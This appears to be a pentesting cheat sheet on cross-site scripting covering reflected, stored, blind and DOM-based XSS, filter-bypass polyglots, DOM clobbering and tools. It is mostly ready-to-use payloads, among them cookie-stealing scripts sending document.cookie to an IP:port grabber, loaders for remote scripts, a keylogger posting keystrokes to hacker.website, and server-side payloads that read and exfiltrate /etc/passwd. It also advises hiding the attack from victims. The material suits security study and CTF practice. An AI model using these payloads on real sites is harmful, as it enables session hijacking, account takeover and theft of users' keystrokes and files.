Cross-site Scripting (XSS)
Cross-site Scripting, most commonly called XSS, refers to injecting malicious JavaScript in a web application for it to be executed by other users. For instance, instead of a username, you could use:
<script>alert('XSS')</script>
And, if the website isn't protected, then anyone consulting your profile will run the script alert('XSS')
and will see an alert.
β οΈ When using XSS, you want to hide that you executed some XSS in someone's browser. So, you should ensure that no one sees anything suspicious. For instance, add a valid value before the XSS payload.
π‘ XSS may be called HTML Injection when using an HTML payload.
Common attack vectors
- π Headers (mostly User-Agent)
- π Forms (Logic flaw: not protecting dropdowns)
- πͺ Cookies
Common mitigations to XSS attacks are:
- π Content-Security-Policy (CSP) header + secure cookies
- π‘οΈ Input sanitization (
htmlentities
/addslashes
in PHP) - π Input filtering (
strip_tags
in PHP) - π₯ Web Application Firewall (WAF)
XSS Attacks
Reflected XSS
XSS is reflected when the injected payload is shown on the vulnerable webpage after being rendered by the web server.
πΊοΈ The payload is usually inside the URL. For instance, given the URL: https://example.com/vuln.php?q=payload
that render payload
when loaded. We could exploit it using:
https://example.com/vuln.php/?q=%3Cscript%3Ealert(%27XSS%27)%3B%3C%2Fscript%3E
π· Users clicking on the link will execute our payload.
Stored XSS
The payload is injected and stored on the server, mostly in a database. At some point, it may be executed by a vulnerable web page.
πΊοΈ Comments, profiles, listings... may be vulnerable.
π· For instance, assuming we use the username <script>alert('XSS');</script>
, if the profile page is vulnerable, this code will be executed when the server renders our username.
Blind XSS
XSS is said to be blind or out-band when we are sending a payload without prior knowledge of where it will be executed.
πΊοΈ Feedback, contact, or support forms. We are targeting the administrators by testing if a contact chanel is vulnerable to any XSS.
π· For instance, we include images in each parameter such as <img src="IP:PORT/username">
for username
. If we receive a request to /xxx
on our grabber, then the payload worked for parameter xxx
. Otherwise, we try another payload.
Refer to HTTP Requests Grabber to catch the response during CTFs.
DOM-based XSS
DOM-based XSS occur without the server being aware of them. The client-side JavaScript is the one rendering the payload. For instance, when we use xxx.innerHTML
or document.write
(referred to as "a sinker").
πΊοΈ Mostly, javascript-based applications.
π· If an application is parsing the anchor URL#xxx
and displaying it a message, it may be exploited with JavaScript events functions as most sinkers don't allow the script
tag.
XSS Payloads Quick Reference
Case | HTML | Payload |
---|---|---|
PoC | <p>here</p> |
|
Boxed attribute |
|
|
Unboxed attribute | <input value=here> | Refer to Boxed attribute without the quote. |
Wrapped | <textarea>here</textarea> | </textarea>ReferToPOC |
JavaScript |
|
|
HTML Tags/Attributes For XSS
PortSwigger has an awesome list of HTML tags and HTML attributes allowing you to easily find XSS payloads.
- FUZZ and find allowed tags
- Select a tag in the list that you can use
- Either test a few payloads, or FUZZ again
You may also use xss-payload-list (6.3k β). Below are some of my favorites. They may not require user interaction (e.g. auto), optionally according to the target (e.g. auto|manual), or always (e.g. manual).
- Tags:
a#href
,iframe#src
,object#data
,embed#src
<a href="javascript:alert(1)">x</a> <!-- auto -->
- Tags:
DETAILS
<details open ontoggle=alert(1)></details> <!-- auto -->
- Tags:
*
<a id=x tabindex=1 onfocus=alert(1)></a> <!-- auto|manual -->
- Tags:
INPUT
,SELECT
,BUTTON
,KEYGEN
, etc.
<input autofocus onfocus="alert(1)"> <!-- auto -->
- Tags:
IMG
,LINK
,INPUT
,BODY
,SOURCE
, etc.
<img src=1 onerror="alert(1)"> <!-- auto -->
- Others
<svg onload=alert(1)>
<svg><animatetransform onbegin=alert(1)>
XSS 'malicious code'
Common "malicious code" used in PoC payloads are
alert(...)
: show an alert with a messageconsole.log(...)
: print a message in the console
Real examples of malicious code can be found at XSS-payloads (π₯?).
Fingerprint
We sometimes need to check a few things:
document.domain
: current domain namewindow.location
: current URLwindow.origin
: when inside a IFRAME
Session hijacking/Cookie Stealing
Anyone executing this script will send their cookie to a malicious website owned by the hacker used to capture cookies. The script is using btoa()
to encode in base64 the values. Sessions cookies are gold π°, because with them, we can bypass verifications such as 2FA and access someone else account of insecure webservers.
<script>fetch('http://IP:port/?cookie=' + btoa(document.cookie));</script>
<script>fetch('http://IP:port', { method: 'POST', mode: 'no-cors', credentials: 'include', body: btoa(document.cookie) });</script>
<script>new Image().src = "http://IP:port/?cookie="+btoa(document.cookie);</script>
<script>let imageElement = document.createElement("img"); imageElement.src = "http://IP:port/?cookie="+btoa(document.cookie); document.body.appendChild(imageElement)</script>
<script>document.location="http://IP:port/?cookie="+document.cookie;</script>
Refer to HTTP Requests Grabber to catch the response during CTFs.
π Refer to CSRF for attacks using a form.
Account takeover
It's common for a XSS to target an administrator. If the cookies are secure enough (expiry, httpOnly, secure, sameSite), we may try to create an account with more privileges, elevate our privileges, or steal a token.
While the code is specific to the website, we often want to load an external script which can be a hassle from a javascript event.
<dummy onevent="document.write`<script src=//example.com>`"></dummy>
<dummy onevent="appendChild(createElement`script`).src='//example.com/x.js'"></dummy>
<dummy onevent="document.body.appendChild(document.createElement`script`).src='//example.com/x.js'"></dummy>
<dummy onevent="s=document.createElement('script');s.src='//example.com/x.js';document.body.appendChild(s);"></dummy>
<dummy onevent="(s=>document.body.appendChild(s))(document.createElement('script')).src='//example.com/x.js'"></dummy>
<dummy onevent="document.appendChild(Object.assign(document.createElement('script'),{src:'//example.com/x.js'}));"></dummy>
Keylogger
Sends keys pressed to the hacker website. The script is using btoa()
to encode in base64 the values.
<script>
let keys = ''
document.onkeydown = e => keys += e.key
setInterval(() => {
if (keys === '') return
fetch('https://hacker.website/keylogger?key=' + btoa(keys) )
keys = ''
}, 1000)
</script>
Other Attacks
- Defacing websites
- Injecting a login form to access the original website
XSS bypasses
XSS Filtering Bypass
This section was moved to HTML Payloads and JavaScript payloads.
XSS Polygots Filtering Bypass
Polygot are complex payloads designed to bypass many filter:
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */onerror=alert('XSS') )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert('XSS')//>\x3e
XSS Relative Path Override (RPO)
Usually, a URL such as http://example.com/a/../toto
is processed and replaced with http://example.com/toto
before it is used.
We can use a mix of URL encoding and not encoded characters to create a URL that is not shortened but still point to a relative folder.
-https://example.com/../toto/index.php
+https://example.com/..%2Ftoto/index.php
This can be used to trick checks like "URL starts with".
XSS Tools βοΈ
XSStrike
XSStrike (13.3k β, 2022 β οΈ) is a popular XSS tool that is still working as of 2024 while it's not maintained.
$ cd /opt
$ sudo git clone https://github.com/s0md3v/XSStrike.git
$ sudo chmod +x XSStrike/xsstrike.py
$ sudo ln -s /opt/XSStrike/xsstrike.py /usr/local/bin/xsstrike
$ xsstrike -u 'URL?param=vuln'
The tool will process the URL and the parameter to see if any are vulnerable. Press 'Enter' until you find one that works. Carefully read the payload when testing, e.g. 'mouse over,' or stuff like that.
Other tools
There are a lot of them, but they are all abandoned. If seems using web scanners such as Burp, Zaproxy, or Nessus is more common.
- xsser (1.2k β, 2022 πͺ¦οΈ)
- xsscrapy (1.6k β, 2022 πͺ¦οΈ)
- BruteXSS (0.5k β, 2021 πͺ¦)
- xsshunter (1.5k β, 2019 πͺ¦) + xsshunter-express (1.6k β, 2021 πͺ¦)
- Zeus-Scanner (1.0k β, 2019 πͺ¦)
- whitewidow (1.0k β, 2018 πͺ¦)
Server-Side XSS
If a website is creating a PDF using user-input, such as using wkhtmltopdf, we may be able to execute JavaScript code.
<script>document.write('poc')</script>
<img src="http://IP:port/img"/>
<iframe src="http://IP:port/iframe"></iframe>
<object data="http://IP:port/object">
<embed src="http://IP:port/embed" width="500" height="500">
<meta http-equiv="refresh" content="0;url=http://IP:port/meta" />
You can learn more about your environment using:
<script>document.write(window.location)</script>
<script>document.write(typeof fetch)</script> // undefined
<script>document.write(typeof XMLHttpRequest)</script> // object
π Tools such as exiftool
may expose the tool that created the PDF.
Technically, request to another server are categorized as SSRF attacks. Some tools/configuration may prevent us from using file://
or external URLs. Refer to HTTP Requests Grabber to catch responses.
- We can use it to read files such as
/etc/passwd
:
<script>xhzeem=new XMLHttpRequest();xhzeem.onload=function(){document.write(this.responseText)};xhzeem.onerror=function(){document.write('failed!')};xhzeem.open("GET","file:///etc/passwd");xhzeem.send();</script>
- For Blind Server-Side XSS, we can use:
<script>xhzeem=new XMLHttpRequest();xhzeem.onload=function(){xhzxfil=new XMLHttpRequest();xhzxfil.open("GET",'http://IP:port/?data='+btoa(this.response),true);xhzxfil.send()};xhzeem.open("GET","file:///etc/passwd",true);xhzeem.send();</script> ;
DOM Clobbering
DOM element can have an attribute called id
to easily locate them. There are multiple behaviors around them that can be used to exploit vulnerable javascript code.
<a id=someProperty name=url href=//example.com></a>
console.log(someProperty); // equals to "//example.com"
console.log(window.someProperty); // same as 'someProperty'
We are able to define attributes by nesting tags:
<!-- someForm.nodeName is equals to "<input ...>" -->
<form id=someForm><input name=nodeName></form>
In chrome-based browsers, having multiple IDs is possible.
<a id=someObject>
<a id=someObject name=url href=//example.com>
console.log(someProperty); // an array with indexes
console.log(someProperty.url); // equals to "//example.com"
π See also: Dom Clobbering Project (0.05k β).
π» To-do π»
Stuff that I found, but never read/used yet.
Remediation:
-echo $variable;
-echo htmlspecialchars($variable);
+echo htmlspecialchars($variable, ENT_QUOTES, 'UTF-8');